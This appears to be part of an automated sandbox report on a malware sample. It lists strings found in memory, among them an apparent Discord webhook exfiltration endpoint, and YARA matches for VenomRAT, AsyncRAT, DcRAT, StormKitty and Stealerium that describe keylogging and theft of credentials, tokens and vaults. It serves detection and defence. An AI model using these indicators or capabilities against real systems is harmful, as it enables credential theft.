Source: powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: powershell.exe, 00000000.00000002.2146890283.0000027EAA0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBB51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2146890283.0000027EAAD02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDCAE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.2177874216.0000027EBA27F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2177874216.0000027EBA13C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.29dddb68eb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29ddc0bc858.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dddb632e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29ddc077076.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29ddc07a518.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dddab6a18.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dddaa185e.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.29ddc077076.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4980, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: 5.2.powershell.exe.29dddaa5458.4.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.29ddc07a518.7.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.29dddab6a18.6.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.29df4110000.12.raw.unpack, Knvbl.cs	Long String: Length: 14748

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01583370 NtProtectVirtualMemory,		9_2_01583370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01582F19 NtProtectVirtualMemory,		9_2_01582F19

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34545F80	5_2_00007FFD34545F80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454D2EB	5_2_00007FFD3454D2EB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454BC90	5_2_00007FFD3454BC90
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454195D	5_2_00007FFD3454195D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454EA58	5_2_00007FFD3454EA58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454BA99	5_2_00007FFD3454BA99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454BB3B	5_2_00007FFD3454BB3B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345773C0	5_2_00007FFD345773C0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3454BC35	5_2_00007FFD3454BC35
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3456D400	5_2_00007FFD3456D400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_015827A0	9_2_015827A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01582792	9_2_01582792
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01582F19	9_2_01582F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06459E00	9_2_06459E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D67460	9_2_06D67460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_06D60040	9_2_06D60040

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.29dddb68eb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29ddc0bc858.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dddb632e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29ddc077076.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29ddc07a518.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dddab6a18.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dddaa185e.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
